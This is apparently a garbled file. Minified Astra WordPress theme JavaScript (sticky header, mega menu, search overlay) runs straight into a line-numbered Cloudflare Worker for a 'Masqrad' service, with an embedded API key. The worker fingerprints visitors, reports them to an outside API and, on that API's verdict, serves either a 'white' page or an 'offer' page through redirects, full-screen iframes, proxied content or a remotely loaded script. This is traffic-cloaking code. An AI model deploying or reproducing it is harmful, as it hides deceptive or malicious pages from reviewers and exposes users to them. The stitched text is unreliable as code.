.ast-header-sticked .site-logo-img .astra-logo-svg{ width: "+x.mobile+"px; } } </style>":""!=Q&&(d="<style type='text/css' id='ast-site-identity-img' class='ast-site-identity-img' > #masthead .ast-header-sticked .site-logo-img .astra-logo-svg { width: "+Q+"px; } #masthead .ast-header-sticked .site-logo-img img { max-height: "+e+"; width: auto; } </style>"),n("head").append(d)),(_||g||b)&&(n(l).on("addStickyClass",function(){var e="";"1"!=_&&"on"!=_&&"disabled"!=_||(e+=" ast-primary-sticky-header-active"),"1"!=g&&"on"!=g&&"disabled"!=g||(e+=" ast-above-sticky-header-active"),"1"!=b&&"on"!=b&&"disabled"!=b||(e+=" ast-below-sticky-header-active"),n("body").addClass(e)}),n(l).on("removeStickyClass",function(){var e="";"1"!=_&&"on"!=_&&"disabled"!=_||(e+=" ast-primary-sticky-header-active"),"1"!=g&&"on"!=g&&"disabled"!=g||(e+=" ast-above-sticky-header-active"),"1"!=b&&"on"!=b&&"disabled"!=b||(e+=" ast-below-sticky-header-active"),n("body").removeClass(e)}),"ast-box-layout"===k&&(y=parseInt(v)),jQuery(function(e){I()}),jQuery(l).on("astLayoutWidthChanged",function(e){(parseInt(_)||parseInt(b)||parseInt(g))&&(jQuery("div.ast-stick-primary-below-wrapper").children().unwrap(),jQuery('div[data-stick-support="on"]').children().unwrap(),I())})),"fade"==astraAddon.header_animation_effect||"slide"==astraAddon.header_animation_effect)&&l.querySelectorAll('#ast-hf-mobile-menu a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){let t=l.querySelector(".ast-main-header-bar-navigation.toggle-on"),a=l.querySelectorAll(".ast-mobile-menu-trigger-minimal");setTimeout(()=>{t&&(t.style.display="none",t.classList.remove("toggle-on")),a.forEach(e=>{e.classList.remove("toggled"),e.setAttribute("aria-expanded","false")}),l.body.classList.remove("ast-main-header-nav-open")},50)})})})(jQuery,window);function display_mega_menu_on_load(){var e=document.querySelectorAll(".content-width-mega");if(0<e.length)for(var t=0;t<e.length;t++)"hover"===(e[t].getAttribute("data-megamenu-trigger")||"hover")&&e[t].addEventListener("mouseenter",function(e){e=e.target.querySelector(".astra-mega-menu-width-content");null!==e&&e.classList.remove("ast-hidden")});var a=document.querySelectorAll(".menu-container-width-mega");if(0<a.length)for(t=0;t<a.length;t++)"hover"===(a[t].getAttribute("data-megamenu-trigger")||"hover")&&a[t].addEventListener("mouseenter",function(e){e=e.target.querySelector(".astra-mega-menu-width-menu-container");null!==e&&e.classList.remove("ast-hidden")});var s=document.querySelectorAll(".full-width-mega");if(0<s.length)for(t=0;t<s.length;t++)"hover"===(s[t].getAttribute("data-megamenu-trigger")||"hover")&&s[t].addEventListener("mouseenter",function(e){var t=e.target.querySelector(".astra-full-megamenu-wrapper"),e=e.target.querySelector(".astra-mega-menu-width-full");null!==t&&t.classList.remove("ast-hidden"),null!==e&&e.classList.remove("ast-hidden")});var r=document.querySelectorAll(".full-stretched-width-mega");if(0<r.length)for(t=0;t<r.length;t++)"hover"===(r[t].getAttribute("data-megamenu-trigger")||"hover")&&r[t].addEventListener("mouseenter",function(e){var t=e.target.querySelector(".astra-full-megamenu-wrapper"),e=e.target.querySelector(".astra-mega-menu-width-full-stretched");null!==t&&t.classList.remove("ast-hidden"),null!==e&&e.classList.remove("ast-hidden")});var n=document.querySelectorAll(".custom-width-mega");if(0<n.length)for(t=0;t<n.length;t++)"hover"===(n[t].getAttribute("data-megamenu-trigger")||"hover")&&n[t].addEventListener("mouseenter",function(e){e=e.target.querySelector(".astra-mega-menu-width-custom");null!==e&&e.classList.remove("ast-hidden")})}document.addEventListener("DOMContentLoaded",display_mega_menu_on_load),document.addEventListener("astPartialContentRendered",display_mega_menu_on_load);var items=document.getElementsByClassName("astra-megamenu-li");function apply_megamenu_width_styles(){[].slice.call(items).forEac
1h(g=>{function s(){var e,t,a,s,r,n,i,d,u,l=(m=jQuery(g).parents(".ast-container")).children(),m=m.parent(),o=jQuery(g);(o.hasClass("full-width-mega")||o.hasClass("full-stretched-width-mega"))&&(l=jQuery(l).closest(".ast-container")),parseInt(window.innerWidth)>parseInt(astra.break_point)&&"ast-hf-mobile-menu"!==o.parent().attr("id")&&"ast-desktop-toggle-menu"!==o.parent().attr("id")?(e=l.width(),t=l.offset(),l=(a=o.offset()).left-(t.left+parseFloat(l.css("paddingLeft"))),d=e-(a.left+t.left)+130,s=m.width(),r=m.offset(),r=a.left-(r.left+parseFloat(m.css("paddingLeft"))),o.hasClass("custom-width-mega")&&(i=(i=window.getComputedStyle(o.find(".astra-mega-menu-width-custom")[0],"::before").getPropertyValue("content")||1200).replace(/[^0-9]/g,""),(i=parseInt(i))<=e?(u=parseInt(e-i),n=parseInt(l-u),t.left):(u=parseInt(i-e),n=parseInt(l+u),t.left)),o.hasClass("menu-container-width-mega")&&(u=jQuery(g).parents(".main-navigation"),m.hasClass("ast-above-header")?u=jQuery(".ast-above-header-navigation"):m.hasClass("ast-below-header")&&(u=jQuery(".ast-below-header-actual-nav")),e=($target_container=u.length?u:o.parent("ul")).width()+"px",m=jQuery(window).width()-($target_container.offset().left+$target_container.outerWidth()),u=o.offset(),m=jQuery(window).width()-m-u.left,l=parseInt($target_container.width()-m),d=parseInt(e)-o.outerWidth()-parseInt($target_container.width()-m)),o.hasClass("full-width-mega")?(o.find(".astra-full-megamenu-wrapper").css({left:"-"+r+"px",width:s}),o.find(".astra-megamenu").css({width:e})):o.hasClass("full-stretched-width-mega")?o.find(".astra-full-megamenu-wrapper").css({left:"-"+r+"px",width:s}):o.hasClass("custom-width-mega")?astra.isRtl?o.find(".astra-mega-menu-width-custom").css({width:i+"px"}):o.find(".astra-mega-menu-width-custom").css({left:"-"+n+"px",width:i+"px"}):o.hasClass("content-width-mega")?astra.isRtl?(u=t.left+e-(a.left+o.outerWidth()),o.find(".astra-megamenu").css({right:"-"+u+"px",width:e}).data("astra-hover-right",u)):o.find(".astra-megamenu").css({left:"-"+l+"px",width:e}):astra.isRtl?(o.find(".astra-megamenu").css({right:"-"+d+"px",width:e}),o.data("astra-hover-right",d)):o.find(".astra-megamenu").css({left:"-"+l+"px",width:e})):astra.isRtl?(o.find(".astra-megamenu").css({right:"",width:"","background-image":""}),o.find(".astra-full-megamenu-wrapper").css({right:"",width:"","background-image":""})):(o.find(".astra-megamenu").css({left:"",width:"","background-image":""}),o.find(".astra-full-megamenu-wrapper").css({left:"",width:"","background-image":""}))}"click"===(jQuery(g).data("megamenu-trigger")||"hover")?(jQuery(g).find("> a").on("click",function(e){var t=jQuery(g),a=t.hasClass("megamenu-active");jQuery(".astra-megamenu-li.megamenu-active").removeClass("megamenu-active"),a||(e.preventDefault(),t.addClass("megamenu-active"),t.find(".ast-hidden").removeClass("ast-hidden"),s())}),jQuery(document).on("click",function(e){jQuery(e.target).closest(".astra-megamenu-li").length||jQuery(".astra-megamenu-li.megamenu-active").removeClass("megamenu-active")})):(jQuery(g).hover(s),jQuery(g).mouseenter(function(){document.dispatchEvent(new CustomEvent("astra_mega_menu_on_hover",{detail:{}}))}))})}apply_megamenu_width_styles(),document.addEventListener("astMenuHoverStyleChanged",function(){apply_megamenu_width_styles()}),[].slice.call(items).forEach(function(h){var e=jQuery(h).parents(".ast-container"),f=e.children(),c=e.parent(),p=jQuery(h);(p.hasClass("full-width-mega")||p.hasClass("full-stretched-width-mega"))&&(f=jQuery(f).closest(".ast-container"),p.find(".astra-full-megamenu-wrapper").removeClass("ast-hidden")),p.find(".menu-link").focusin(function(e){var t,a,s,r,n,i,d,u,l,m,o,g;astra.is_header_footer_builder_active||(p.find(".sub-menu").addClass("astra-megamenu-focus"),p.find(".astra-full-megamenu-wrapper").addClass("astra-megamenu-wrapper-focus")),p.find(".sub-menu").removeClass("ast-hidden"),parseInt(jQuery(window).width())>parseInt(astra.break_point)&&"ast-hf-mobile-menu"!==p.parent().attr("id")&&"ast-desktop-toggle-menu"!==p.parent().attr("id")?(t=f.width(),a=f.offset(),u=(s=p.offset()).left-(a.left+parseFloat(f.css("paddingLeft"))),l=t-(s.left+a.left)+130,r=c.width(),g=c.offset(),g=s.left-(g.left+parseFloat(c.css("paddingLeft"))),p.hasClass("custom-width-mega")&&(
1d=(d=window.getComputedStyle(p.find(".astra-mega-menu-width-custom")[0],"::before").getPropertyValue("content")||1200).replace(/[^0-9]/g,""),i=(d=parseInt(d))<=t?(i=parseInt(t-d),n=parseInt(u-i),a.left-n):(i=parseInt(d-t),n=parseInt(u+i),a.left+n)),p.hasClass("menu-container-width-mega")&&(o=jQuery(h).parents(".main-navigation"),c.hasClass("ast-above-header")?o=jQuery(".ast-above-header-navigation"):c.hasClass("ast-below-header")&&(o=jQuery(".ast-below-header-actual-nav")),t=($target_container=o.length?o:p.parent("ul")).width()+"px",o=jQuery(window).width()-($target_container.offset().left+$target_container.outerWidth()),m=p.offset(),o=jQuery(window).width()-o-m.left,u=parseInt($target_container.width()-o),l=parseInt(t)-p.outerWidth()-parseInt($target_container.width()-o)),p.hasClass("full-width-mega")?(p.find(".astra-full-megamenu-wrapper").css({left:"-"+g+"px",width:r}),p.find(".astra-megamenu").css({width:t})):p.hasClass("full-stretched-width-mega")?p.find(".astra-full-megamenu-wrapper").css({left:"-"+g+"px",width:r}):p.hasClass("custom-width-mega")?astra.isRtl?p.find(".astra-mega-menu-width-custom").css({right:"-"+i+"px",width:d+"px"}):p.find(".astra-mega-menu-width-custom").css({left:"-"+n+"px",width:d+"px"}):p.hasClass("content-width-mega")?astra.isRtl?(m=a.left+t-(s.left+p.outerWidth()),p.find(".astra-megamenu").css({right:"-"+m+"px",width:t}).data("astra-hover-right",m)):p.find(".astra-megamenu").css({left:"-"+u+"px",width:t}):(g=void 0!==(o=p.data("astra-hover-right"))?o:l,astra.isRtl?p.find(".astra-megamenu").css({right:"-"+g+"px",width:t}).data("astra-hover-right",g):p.find(".astra-megamenu").css({left:"-"+u+"px",width:t}))):astra.isRtl?(p.find(".astra-megamenu").css({right:"",width:"","background-image":""}),p.find(".astra-full-megamenu-wrapper").css({right:"",width:"","background-image":""})):(p.find(".astra-megamenu").css({left:"",width:"","background-image":""}),p.find(".astra-full-megamenu-wrapper").css({left:"",width:"","background-image":""}))}),astra.is_header_footer_builder_active||(p.find(".menu-link").keydown(function(e){9==e.which&&e.shiftKey&&(p.find(".sub-menu").removeClass("astra-megamenu-focus"),p.find(".astra-full-megamenu-wrapper").removeClass("astra-megamenu-wrapper-focus"))}),jQuery(h).find(".sub-menu .menu-item").last().focusout(function(){p.find(".sub-menu").removeClass("astra-megamenu-focus"),p.find(".astra-full-megamenu-wrapper").removeClass("astra-megamenu-wrapper-focus")}),jQuery(window).click(function(){p.find(".sub-menu").removeClass("astra-megamenu-focus"),p.find(".astra-full-megamenu-wrapper").removeClass("astra-megamenu-wrapper-focus")})),p.click(function(e){jQuery(e.target).hasClass("menu-item")&&e.stopImmediatePropagation()})});(()=>{var e;function o(e){var t=(t=document.body.className).replace(e,"");document.body.className=t}function d(e){e.style.display="block",setTimeout(function(){e.style.opacity=1},1)}function n(e){e.style.opacity="",setTimeout(function(){e.style.display=""},200)}r="iPhone"==navigator.userAgent.match(/iPhone/i)?"iphone":"",e="iPod"==navigator.userAgent.match(/iPod/i)?"ipod":"",document.body.className+=" "+r,document.body.className+=" "+e;for(var t=document.querySelectorAll("a.astra-search-icon:not(.slide-search)"),a=0;t.length>a;a++)t[a].onclick=function(e){var t,a,o,n;if(e.preventDefault(),e=e||window.event,this.classList.contains("header-cover"))for(var s=document.querySelectorAll(".ast-search-box.header-cover"),c=astraAddon.is_header_builder_active||!1,r=0;r<s.length;r++)for(var l=s[r].parentNode.querySelectorAll("a.astra-search-icon"),i=0;i<l.length;i++)l[i]==this&&(d(s[r]),s[r].querySelector("input.search-field").focus(),c?(t=s[r],n=o=a=void 0,document.body.classList.contains("ast-header-break-point")&&(n=document.querySelector(".main-navigation"),a=document.querySelector(".main-header-bar"),o=document.querySelector(".ast-mobile-header-wrap"),null!==a)&&null!==n&&(n=n.offsetHeight,a=a.offsetHeight,o=o.offsetHeight,n=n&&!document.body.classList.contains("ast-no-toggle-menu-enable")?parseFloat(n)-parseFloat(a):parseFloat(a),t.parentNode.classList.contains("ast-mobile-header-wrap")&&(n=parseFloat(o)),t.style.maxHeight=Math.abs(n)+"px")):(a=s[r],t=o=void 0,document.body.classList.contains("ast-header-break-point")&&(t=document.querySelector(".main-navigation"),null!==(o=document.querySelector(".main-header-bar")))&&null!==t&&(t=t.offsetHeight,o=o.offsetHeight,t=t&&!document.body.classList.contains("ast-no-toggle-menu-enable")?parseFloat(t)-parseFloat(o):parseFloat(o),a.style.maxHeight=Math.abs(t)+"px")));else this.classList.contains("full-screen")&&(e=document.getElementById("ast-seach-full-screen-form")).classList.contains("full-screen")&&(d(e),document.body.className+=" full-screen",e.querySelector("input.search-field").focus())};for(var s=document.querySelectorAll(".ast-search-box .close"),a=0,
1c=s.length;a<c;++a)s[a].onclick=function(e){e=e||window.event;for(var t=this;;){if(t.parentNode.classList.contains("ast-search-box")){n(t.parentNode),o("full-screen");break}if(t.parentNode.classList.contains("site-header"))break;t=t.parentNode}};document.onkeydown=function(e){if(27==e.keyCode)for(var e=document.getElementById("ast-seach-full-screen-form"),t=(null!=e&&(n(e),o("full-screen")),document.querySelectorAll(".ast-search-box.header-cover")),a=0;a<t.length;a++)n(t[a])},window.addEventListener("resize",function(){if("BODY"===document.activeElement.tagName&&"INPUT"!=document.activeElement.tagName){var e=document.querySelectorAll(".ast-search-box.header-cover");if(!document.body.classList.contains("ast-header-break-point"))for(var t=0;t<e.length;t++)e[t].style.maxHeight="",e[t].style.opacity="",e[t].style.display=""}});var r=document.getElementById("close");r&&r.addEventListener("keydown",function(e){"Enter"===e.key?(e.preventDefault(),this.click()):"Tab"===e.key&&e.preventDefault()})})();const config = { 2 api_host: 'https://api.masqrad.io', 3 api_key: 'MASQRAD-01M0AR9X57CRWAT13930H2FN3Q', 4 campaign_id: 'campaign-id-91f44469-12f7-436b-9108-e9380b127c45', 5 integration: "cf_worker", 6 version: "1.0.0" 7}; 8 9export default { 10 async fetch(request, env, ctx) { 11 try { 12 return await runMasqrad(request, env); 13 } catch (e) { 14 if (e instanceof Response) { 15 return e; 16 } 17 18 console.error("[MASQRAD] error:", e); 19 return textResponse("Masqrad Integration Error", 500); 20 } 21 } 22}; 23 24async function runMasqrad(request, env) { 25 const url = new URL(request.url); 26 const method = request.method || "GET"; 27 28 const ignored = shouldIgnoreRequest(request, url, env); 29 if (ignored) return ignored; 30 31 if (["HEAD", "PUT", "DELETE"].includes(method)) { 32 return noCache(new Response(null, {status: 200})); 33 } 34 35 if (url.searchParams.has("worker")) { 36 const mode = url.searchParams.get("worker") || "quick"; 37 38 const resp = await apiRequest( 39 `/worker.js?mode=${encodeURIComponent(mode)}`, 40 {"Accept-Encoding": "gzip, deflate, br"}, 41 null, 42 "GET" 43 ); 44 45 abortOnApiFailure(resp, "worker.js", url); 46 47 return noCache(new Response(resp.body || "", { 48 status: 200, 49 headers: { 50 "Content-Type": "application/javascript; charset=utf-8", 51 "Content-Security-Policy": 52 "default-src 'none'; script-src 'self'; worker-src 'self'; connect-src 'self'; img-src 'self' data:; style-src 'self'; base-uri 'none'; frame-ancestors 'none'" 53 } 54 })); 55 } 56 57 if (method === "POST" && request.headers.has("x-session-init")) { 58 const raw = await request.text(); 59 const fingerprint = safeJsonParse(raw); 60 61 const payload = buildClientData(request, url, fingerprint); 62 const resp = await apiRequest( 63 "/check", 64 {"Content-Type": "application/json"}, 65 JSON.stringify(payload), 66 "POST" 67 ); 68 69 abortOnApiFailure(resp, "check(session-init)", url); 70 71 const response = safeJsonParse(resp.body) || {}; 72 return await showContent(request, response, env); 73 } 74 75 if (method === "POST" && request.headers.get("x-masqrad-debug") === "run") { 76 if (url.pathname !== "/") return passThrough(request, env); 77 return await runDiagnostic(request, env); 78 } 79 80 if (url.searchParams.get("key") === config.api_key) { 81 return handleDiagnosticRequests(request, url); 82 } 83 84 const payload = buildClientData(request, url, null); 85 86 if (url.searchParams.has("noscript")) { 87 payload.noscript = true; 88 } 89 90 const resp = await apiRequest( 91 "/check", 92 {"Content-Type": "application/json"}, 93 JSON.stringify(payload), 94 "POST" 95 ); 96 97 abortOnApiFailure(resp, "check(normal)", url); 98 99 const response = safeJsonParse(resp.body) || {}; 100 let out = await showContent(request, response, env); 101 102 if (response.cookie) { 103 const cookieName = response.cookieName || "sid"; 104 out.headers.append( 105 "Set-Cookie", 106 makeCookie(cookieName, response.cookie, 30 * 24 * 60 * 60) 107 ); 108 } 109 110 return out; 111} 112 113function shouldIgnoreRequest(request, url, env) { 114 const pathname = url.pathname; 115 const method = request.method || "GET"; 116 const fetchMode = request.headers.get("sec-fetch-mode"); 117 118 if (url.searchParams.has("worker")) return null;
119 if (method === "POST" && request.headers.has("x-session-init")) return null; 120 if (method === "POST" && request.headers.get("x-masqrad-debug") === "run") return null; 121 if (url.searchParams.get("key") === config.api_key) return null; 122 if (request.headers.get("x-masqrad-internal-asset") === "1") { 123 return env.ASSETS.fetch(request); 124 } 125 126 const ignoredPaths = [ 127 "/favicon.ico", 128 "/apple-touch-icon.png", 129 "/apple-touch-icon-precomposed.png", 130 "/manifest.json", 131 "/site.webmanifest", 132 "/robots.txt", 133 "/service-worker.js", 134 "/sw.js" 135 ]; 136 137 if (ignoredPaths.includes(pathname)) { 138 return noCache(new Response("", {status: 204})); 139 } 140 141 if (fetchMode && fetchMode !== "navigate" && fetchMode !== "nested-navigate") { 142 return passThrough(request, env); 143 } 144 145 return null; 146} 147 148async function showContent(request, response, env) { 149 const action = response.action; 150 151 switch (action) { 152 case "local": 153 return await renderLocal(request, response.content, env); 154 155 case "http_302": 156 return noCache(Response.redirect(response.content, 302)); 157 158 case "http_302_privacy": 159 return noCache(new Response(null, { 160 status: 302, 161 headers: { 162 Location: response.content, 163 "Referrer-Policy": "no-referrer", 164 "Content-Security-Policy": "referrer no-referrer" 165 } 166 })); 167 168 case "meta": 169 return htmlResponse(`<!DOCTYPE html><head><title></title><meta http-equiv="refresh" content="0;url=${escapeHtml(response.content)}"></head><body></body></html>`); 170 171 case "meta_privacy": 172 return htmlResponse(`<!DOCTYPE html><head><title></title><meta http-equiv="refresh" content="0;url=${escapeHtml(response.content)}"></head><body></body></html>`, { 173 "Referrer-Policy": "no-referrer", 174 "Content-Security-Policy": "referrer no-referrer" 175 }); 176 177 case "js_redirect": 178 return htmlResponse(`<!DOCTYPE html><head><title></title><noscript><meta http-equiv="refresh" content="0;url=?noscript=1"></noscript><script>window.location.href=${JSON.stringify(response.content)};</script></head><body></body></html>`); 179 180 case "js_replace": 181 return htmlResponse(`<!DOCTYPE html><head><title></title><noscript><meta http-equiv="refresh" content="0;url=?noscript=1"></noscript><script>window.location.replace(${JSON.stringify(response.content)});</script></head><body></body></html>`); 182 183 case "iframe": 184 return htmlResponse(`<!DOCTYPE html><head><title></title></head><body style="margin:0;padding:0"><iframe src="${escapeHtml(response.content)}" style="position:fixed;inset:0;border:0;width:100vw;height:100vh" rel="noreferrer noopener"></iframe></body></html>`); 185 186 case "iframe-privacy": 187 return htmlResponse(`<!DOCTYPE html><head><title></title></head><body style="margin:0;padding:0"><iframe src="${escapeHtml(response.content)}" style="position:fixed;inset:0;border:0;width:100vw;height:100vh" rel="noreferrer noopener"></iframe></body></html>`, { 188 "Referrer-Policy": "no-referrer", 189 "Content-Security-Policy": "referrer no-referrer" 190 }); 191 192 case "load_content": 193 return await fetchAndEcho(response.content); 194 195 case "http_status": { 196 let code = Number(response.content || 204); 197 if (code < 100 || code > 599) code = 204; 198 return noCache(new Response(null, {status: code})); 199 } 200 201 case "json": 202 return jsonResponse({ 203 content: response.content ?? null, 204 allow: response.allow ?? null, 205 access: response.access ?? null 206 }); 207 208 case "collect": 209 return htmlResponse(`<!DOCTYPE html><head><style>html,body{margin:0;width:100%;height:100%;background:#fff;}body{display:flex;align-items:center;justify-content:center;font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Arial;}.wrap{display:flex;flex-direction:column;align-items:center;gap:12px;}.spinner{width:28px;height:28px;border-radius:50%;border:3px solid rgba(0,0,0,.15);border-top-color:rgba(0,0,0,.65);animation:spin .5s linear infinite;}@keyframes spin{to{transform:rotate(360deg)}}.text{font-size:13px;opacity:.7;user-select:none;}</style></head><body><div class="wrap" aria-busy="true"><div class="spinner"></div></div><script src="${escapeHtml(response.content)}"></script><noscript><meta http-equiv="refresh" content="0;url=?noscript=1"></noscript></body></html>`); 210 211 case "nothing": 212 return passThrough(request, env); 213 214 case "final": 215 return noCache(new Response(response.content || "", { 216 status: 200, 217 headers: {"Content-Type": "application/json; charset=utf-8"} 218 })); 219 220 default: 221 return textResponse(`Unsupported action format: ${action}`, 500); 222 } 223} 224 225async function renderLocal(request, inputPath, env) {
226 if (!env.ASSETS) { 227 return textResponse("Local files are not available in Cloudflare Workers without ASSETS binding", 501); 228 } 229 230 let cleanPath = String(inputPath || "").trim(); 231 232 if (!cleanPath) { 233 return textResponse("Invalid local file path", 404); 234 } 235 236 cleanPath = cleanPath.replace(/^\.?\//, ""); 237 238 let assetUrl = new URL(request.url); 239 assetUrl.pathname = "/" + cleanPath; 240 assetUrl.search = ""; 241 242 const assetRequest = new Request(assetUrl.toString(), { 243 method: "GET", 244 headers: request.headers 245 }); 246 247 assetRequest.headers.set("x-masqrad-internal-asset", "1"); 248 249 let resp = await env.ASSETS.fetch(assetRequest); 250 251 if (resp.status === 404 && !assetUrl.pathname.endsWith("/index.html")) { 252 assetUrl.pathname = assetUrl.pathname.replace(/\/?$/, "/index.html"); 253 254 const fallbackRequest = new Request(assetUrl.toString(), { 255 method: "GET", 256 headers: request.headers 257 }); 258 259 fallbackRequest.headers.set("x-masqrad-internal-asset", "1"); 260 261 resp = await env.ASSETS.fetch(fallbackRequest); 262 } 263 264 return noCache(resp); 265} 266 267async function fetchAndEcho(url) { 268 const resp = await httpFetch(url, { 269 method: "GET", 270 headers: { 271 "User-Agent": "MasqueradeFetcher/1.0", 272 "Accept": "*/*" 273 } 274 }); 275 276 if (resp.errorCode || resp.status < 200 || resp.status >= 300) { 277 return textResponse("Bad Gateway", 502); 278 } 279 280 return noCache(new Response(resp.body, { 281 status: 200, 282 headers: { 283 "Content-Type": resp.headers["content-type"] || "text/html; charset=utf-8" 284 } 285 })); 286} 287 288async function runDiagnostic(request, env) { 289 const raw = await request.text(); 290 const input = safeJsonParse(raw); 291 292 const result = { 293 success: false, 294 systemErrors: [], 295 connectionErrors: [], 296 whitePages: [], 297 offerPages: [], 298 message: null 299 }; 300 301 if (!input || typeof input !== "object") { 302 result.systemErrors.push({code: "BAD_REQUEST", message: "Invalid JSON body"}); 303 return jsonResponse(result, 400); 304 } 305 306 if ((input.api_key || "") !== config.api_key) { 307 result.systemErrors.push({code: "API_KEY_MISMATCH", message: "Invalid api_key"}); 308 return jsonResponse(result, 403); 309 } 310 311 checkWorkerCoreFunctions(result.systemErrors); 312 await checkConnection(result.systemErrors); 313 314 const white = Array.isArray(input.white) ? input.white : []; 315 const black = Array.isArray(input.black) ? input.black : []; 316 317 for (const item of white) { 318 result.whitePages.push(toPageDiagnostic(await diagnoseTarget(item, request, env))); 319 } 320 321 for (const item of black) { 322 result.offerPages.push(toPageDiagnostic(await diagnoseTarget(item, request, env))); 323 } 324 325 const hasSystemErrors = result.systemErrors.length > 0; 326 const hasWhiteErrors = result.whitePages.some(p => p.status === "error"); 327 const hasOfferErrors = result.offerPages.some(p => p.status === "error"); 328 329 result.success = !hasSystemErrors && !hasWhiteErrors && !hasOfferErrors; 330 result.message = result.success 331 ? "Integration test completed successfully" 332 : "Some checks failed"; 333 334 return jsonResponse(result); 335} 336 337function handleDiagnosticRequests(request, url) { 338 const debug = url.searchParams.get("debug"); 339 340 if (!debug) return textResponse("Debug Request Error", 400); 341 342 if (debug === "cache") { 343 const testHeader = request.headers.get("x-masqrad-test-header"); 344 const ua = request.headers.get("user-agent"); 345 346 if (testHeader === "cache" || ua === "MASQRAD_DIAGNOSTIC") { 347 return noCache(new Response(generateDynamicResponse("cache_"), { 348 status: 200, 349 headers: { 350 "Content-Type": "text/plain; charset=utf-8", 351 "Vary": "User-Agent, X-MASQRAD-TEST-HEADER" 352 } 353 })); 354 } 355 356 return textResponse("No custom headers", 200); 357 } 358 359 if (debug === "cookie") { 360 const testHeader = request.headers.get("x-masqrad-test-header"); 361 const cookies = parseCookies(request.headers.get("cookie") || ""); 362 363 if (testHeader === "cookie") { 364 const resp = textResponse("Cookie set: MasqradCookie=masqrad", 200); 365 resp.headers.append("Set-Cookie", makeCookie("MasqradCookie", "masqrad", 3600)); 366 return resp; 367 } 368
369 if (cookies.MasqradCookie) { 370 return textResponse(`Cookie recognized: MasqradCookie=${cookies.MasqradCookie}`, 200); 371 } 372 373 return textResponse("No custom headers", 200); 374 } 375 376 if (debug === "ping") { 377 return jsonResponse({ok: true, ts: Math.floor(Date.now() / 1000)}); 378 } 379 380 return textResponse("Unknown debug request", 404); 381} 382 383function checkWorkerCoreFunctions(errors) { 384 if (typeof fetch !== "function") { 385 errors.push({code: "FETCH_NOT_FOUND"}); 386 } 387 388 if (typeof JSON.stringify !== "function" || typeof JSON.parse !== "function") { 389 errors.push({code: "JSON_NOT_FOUND"}); 390 } 391 392 if (!crypto || typeof crypto.getRandomValues !== "function") { 393 errors.push({code: "CRYPTO_RANDOM_NOT_FOUND"}); 394 } 395} 396 397async function checkConnection(errors) { 398 const resp = await apiRequest("/ping", {"X-MASQRAD-PING": "1"}, null, "GET"); 399 400 if (resp.errorCode) { 401 errors.push({code: "CONNECTION_NETWORK_ERROR", message: resp.error || ""}); 402 return; 403 } 404 405 if (resp.status < 200 || resp.status >= 300) { 406 errors.push({code: "CONNECTION_HTTP_CODE_WRONG", message: String(resp.status)}); 407 return; 408 } 409 410 const body = safeJsonParse(resp.body); 411 412 if (!body) { 413 errors.push({code: "CONNECTION_INVALID_BODY"}); 414 return; 415 } 416 417 if (body.ping !== true && body.ok !== true) { 418 errors.push({code: "CONNECTION_CORRUPTED_BODY"}); 419 } 420} 421 422async function diagnoseTarget(value, request, env) { 423 if (value && typeof value === "object" && !Array.isArray(value)) { 424 const action = String(value.action || "").trim().toUpperCase(); 425 const rawValue = String(value.value || "").trim(); 426 427 if (action === "HTTP_STATUS") { 428 return diagnoseHttpStatus(rawValue); 429 } 430 431 value = rawValue; 432 } 433 434 value = String(value || "").trim(); 435 436 if (/^https?:\/\//i.test(value)) { 437 return await diagnoseExternalUrl(value); 438 } 439 440 return await diagnoseLocalAsset(value, request, env); 441} 442 443async function diagnoseExternalUrl(value) { 444 let resp = await httpFetch(value, { 445 method: "HEAD", 446 headers: { 447 "User-Agent": "MasqueradeDiag/1.0", 448 "Accept": "*/*" 449 }, 450 timeoutMs: 8000 451 }); 452 453 if (resp.status === 405) { 454 resp = await httpFetch(value, { 455 method: "GET", 456 headers: { 457 "User-Agent": "MasqueradeDiag/1.0", 458 "Accept": "*/*" 459 }, 460 timeoutMs: 8000 461 }); 462 } 463 464 if (resp.errorCode) { 465 return { 466 ok: false, 467 kind: "url",
468 input: value, 469 normalized: value, 470 why: "Network error: " + (resp.error || "") 471 }; 472 } 473 474 if (!resp.status || resp.status < 200 || resp.status >= 400) { 475 return { 476 ok: false, 477 kind: "url", 478 input: value, 479 normalized: value, 480 why: "Upstream HTTP " + (resp.status || "unknown") 481 }; 482 } 483 484 return { 485 ok: true, 486 kind: "url", 487 input: value, 488 normalized: value, 489 why: "" 490 }; 491} 492 493async function diagnoseLocalAsset(value, request, env) { 494 if (!env.ASSETS) { 495 return { 496 ok: false, 497 kind: "local_file", 498 input: value, 499 normalized: "", 500 why: "ASSETS binding not configured" 501 }; 502 } 503 504 if (!value) { 505 return { 506 ok: false, 507 kind: "local_file", 508 input: value, 509 normalized: "", 510 why: "Empty path" 511 }; 512 } 513 514 let cleanPath = value.replaceAll("\\", "/").replace(/^\.?\//, ""); 515 const queryIndex = cleanPath.indexOf("?"); 516 517 if (queryIndex !== -1) { 518 cleanPath = cleanPath.slice(0, queryIndex); 519 } 520 521 const assetUrl = new URL(request.url); 522 assetUrl.pathname = "/" + cleanPath; 523 assetUrl.search = ""; 524 525 const resp = await env.ASSETS.fetch(new Request(assetUrl.toString(), request)); 526 527 if (resp.status >= 200 && resp.status < 400) { 528 return { 529 ok: true, 530 kind: "local_file",
531 input: value, 532 normalized: assetUrl.pathname, 533 why: "" 534 }; 535 } 536 537 return { 538 ok: false, 539 kind: "local_file", 540 input: value, 541 normalized: assetUrl.pathname, 542 why: "Local file not found" 543 }; 544} 545 546function diagnoseHttpStatus(raw) { 547 raw = String(raw || "").trim(); 548 549 if (!raw) { 550 return {ok: false, kind: "http_status", input: raw, normalized: null, why: "Empty http status"}; 551 } 552 553 if (!/^\d{3}$/.test(raw)) { 554 return {ok: false, kind: "http_status", input: raw, normalized: null, why: "Invalid http status format"}; 555 } 556 557 const code = Number(raw); 558 559 if (code < 100 || code > 599) { 560 return {ok: false, kind: "http_status", input: raw, normalized: code, why: "Http status out of range"}; 561 } 562 563 return {ok: true, kind: "http_status", input: raw, normalized: code, why: ""}; 564} 565 566function toPageDiagnostic(r) { 567 let kind = "file"; 568 569 if (r.kind === "url") kind = "url"; 570 else if (r.kind === "http_status") kind = "http_status"; 571 572 return { 573 input: r.input || "", 574 kind, 575 resolved: r.normalized || null, 576 status: r.ok ? "ok" : "error", 577 code: r.ok ? null : mapDiagCode(r), 578 message: r.ok ? null : (r.why || "Unknown error") 579 }; 580} 581 582function mapDiagCode(r) { 583 if (r.kind === "http_status") { 584 if (r.why === "Empty http status") return "HTTP_STATUS_EMPTY"; 